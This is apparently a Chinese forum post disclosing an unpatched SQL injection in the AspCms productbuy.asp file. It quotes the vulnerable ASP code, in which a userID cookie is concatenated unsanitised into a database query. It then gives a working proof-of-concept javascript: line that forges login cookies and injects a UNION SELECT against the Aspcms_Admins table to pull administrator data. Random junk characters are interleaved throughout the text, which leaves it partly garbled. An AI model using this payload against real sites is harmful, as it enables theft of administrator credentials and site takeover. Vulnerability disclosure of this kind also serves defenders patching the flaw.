好久没上土司了,上来一看发现在删号名单内.....
2 h3 o( T( B4 r' U! ^- L% a也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。4 d' N0 H6 O6 Z; l, h& }; t( ~
废话不多说,看代码:
s4 p7 y' \, A2 A6 A7 i) p Z$ d5 O- X- p- x6 `) i
<%
1 |' z; |" ^% f5 L9 U3 ^/ v" g4 U2 r& D0 i1 x3 y- F# K/ y& ^
if action = "buy" then6 k% N( j1 i! ^% z# Q6 Z
- B" D7 u" v1 G8 x. Y( X% k K6 `
addOrder()
, r& g( u0 H; f! s7 c4 a, Q
0 w: H+ F" _+ n! n" |, @+ Pelse) @: {) V6 G8 ^- ]- w; |$ e
I* U o8 ^* ]6 F$ } echoContent()4 a9 r0 r+ K6 ]* D& ^2 M# x
- e8 Q8 Q& g; o! F' l! p) Mend if* s- S6 ~* D* h( h8 R* @+ X5 H3 w
) Z+ y2 s/ O) k% s9 o" W) |
l2 l" e7 b, g1 E3 [0 d5 R# y# g" T `& s# o+ I/ t# L
……略过
+ f* S9 }, h& W2 p
& k( S. b7 g- r K' m! c( Z4 Q5 P9 X# d3 d
! b+ @4 O7 c, E) M( u8 N# fSub echoContent()6 J* z& H! `* ^$ ?. {
6 ?+ u4 B; R% J+ R2 \ dim id% J6 I5 m7 C! F+ A$ B A+ M/ S
9 A; p5 d- A! j/ C ~0 W( j3 U
id=getForm("id","get")$ D, I, q8 x$ ?1 }
5 `) x" I$ S- r+ o6 I, P' t
$ P3 C+ f# b1 n+ t
& ^3 h6 i; i( [6 X4 y+ E; t if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
7 N4 r$ K1 X& M) [
2 d3 v, ^, j0 A0 q4 ^ * H: ~* Q M. B$ M p. w m
4 S$ i8 a9 X9 N: ?6 s dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
4 y6 ^# X2 a& P: Q H; O9 m! A" q1 N4 W9 |! X% ^
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
% w& C2 L* I1 ~, b- H1 z' T, d% O% w' O) s
Dim templatePath,tempStr
, k1 r- F: n b1 b2 w, T# {1 z6 I l" K8 T( N
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
, j& m4 O7 S% m/ W9 l6 ^% l8 O
. m$ ?. { D+ o* ~: e5 `6 s& Q. w- E0 K( ?& m D0 g7 U) z
: \; w4 l/ }' {7 r" q set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1"): D m4 Q$ x, s4 {' ~ b, M
+ b% K6 U9 i0 A selectproduct=rsObj(0)
7 x7 t# l* p% S4 i/ I6 B$ e) j4 m8 U/ e! A
! I6 X% f6 j/ s# `. b
! h. r+ l% S9 G: q7 t- n+ v Dim linkman,gender,phone,mobile,email,qq,address,postcode
- w' M, N* t1 m$ z2 E6 t4 t$ E: ^
/ ~, q& M. S |! K$ W9 u& t if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0( I7 C% \: Z$ w' A0 I) }+ m6 x9 x" V
1 ?8 K# m* H# u+ G6 N2 z1 U" {
if rCookie("loginstatus")=1 then " k9 ?+ E' h6 C l7 O
; \9 T w5 m# p% n$ d# Z# O
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
+ x- x, w" N* o" N p3 g2 B* r4 O9 `+ L# w
linkman=rsObj("truename")0 _( q; b& J; ^8 {. X
; M! }- @1 p+ u gender=rsObj("gender")9 y1 c1 W$ o0 s( x& _8 }
. |& O0 b9 h f- z8 s
phone=rsObj("phone")
2 T* g0 q0 ^9 Z, P2 k5 y5 }
0 w5 e7 ^. U$ o+ j+ W7 I mobile=rsObj("mobile")0 r& `. O& C+ [+ |! g' |3 I: C; ]( T
, @ |1 p5 F2 d* @6 k
email=rsObj("email"); P6 I3 c8 d% `! l$ f: W
) n7 h& |1 I: P- R% l2 | qq=rsObj("qq")- r' Z+ f7 F8 i& I( D, ^! M
: n/ m8 g7 ?& c" {' \6 I address=rsObj("address")
$ f0 }9 k8 M' t' |
# S0 m* l1 Z K! d% j8 S; o+ f6 M( @ postcode=rsObj("postcode")7 [! r+ W" Z7 e. Q3 D
& z- M2 V2 x/ V4 k. ?) b7 E else
- }/ v7 d! t( g3 J* u2 i- e' t: }5 a; j8 J
gender=1
* \+ j. x( o! F& M3 w4 O
' ~# f" P9 `- K& T$ @# S end if0 k4 b/ y5 _ k( z- J& p! ^9 B
* o. o* }( C3 a% E$ u/ p rsObj.close()9 _4 N% C9 g {1 b# @) p
$ i& k6 |# x s V3 h
6 H: t1 s! J/ [; C/ ?5 X. A1 X& [ a8 W6 \- l
with templateObj
2 N& A$ A i* p' A F
* R+ H# J5 B! o. ?0 o. b# Y/ }* i7 w .content=loadFile(templatePath)
: \& W# U5 N: C; ~- x" r! ~" [8 q. t7 v3 `: K4 N- W
.parseHtml()% k9 Q& }$ L/ \% l( K' i
1 s7 |, s$ K( L .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
# y( A% G8 {0 A) b+ Z
9 N9 b Q+ b3 i$ D+ U/ ~' d% _0 } .content=replaceStr(.content,"[aspcms:linkman]",linkman)
" m: X3 Y# t! ~& J
7 K, O" b& W+ G; F i .content=replaceStr(.content,"[aspcms:gender]",gender)
3 N: z6 h9 M. f6 P1 W5 _2 R3 R7 l7 ?& R9 a
.content=replaceStr(.content,"[aspcms:phone]",phone)
. M; |' O# t I: G8 |) n1 x8 M* ^3 \3 h) A/ d
.content=replaceStr(.content,"[aspcms:mobile]",mobile) $ e& A( j' e8 k/ b
, N; f% b, n% D5 j2 L .content=replaceStr(.content,"[aspcms:email]",email) 7 ?+ y# ?* G: Z4 O4 h
& A; Q) z9 B/ j8 ^1 v .content=replaceStr(.content,"[aspcms:qq]",qq)
% ?0 O4 P7 y3 o& i9 G2 U5 W' A* g
/ O+ Q. a/ ?2 M: g: | .content=replaceStr(.content,"[aspcms:address]",address)
( _" H3 b% J$ m. {8 K& @% B8 O n; [# i2 X
.content=replaceStr(.content,"[aspcms:postcode]",postcode)
O( t& D* m0 X) b$ b9 T6 g% M: ?( ?" }. d. R4 F, a9 ^
.parseCommon()
# M7 R. M+ ~( `; M+ y2 _6 |; s6 b$ X7 \3 k; ~7 i6 A }
echo .content
2 s' W: I6 ~$ d9 Q( A5 F" `* i+ H1 a) \) ^9 n! D
end with p6 k% i* s6 M! e2 ]
0 i" ^. j/ t4 S/ A# w; s set templateobj =nothing : terminateAllObjects: A) [3 ?% _4 k* n2 j
6 t1 N+ Y7 x' Y: d9 N: O* o, v: qEnd Sub: F3 O2 r# s: D
漏洞很明显,没啥好说的
* B. g% h# {; Q0 w. {poc:
' J/ n# ~% r' N7 K; z% W( }: {0 Z% Q
6 _# ]8 G% R3 a; k. Fjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子
; F3 ^ F7 o* u2 M; G" d8 j) m" J2 i& C) o, N' _$ S# r# P
|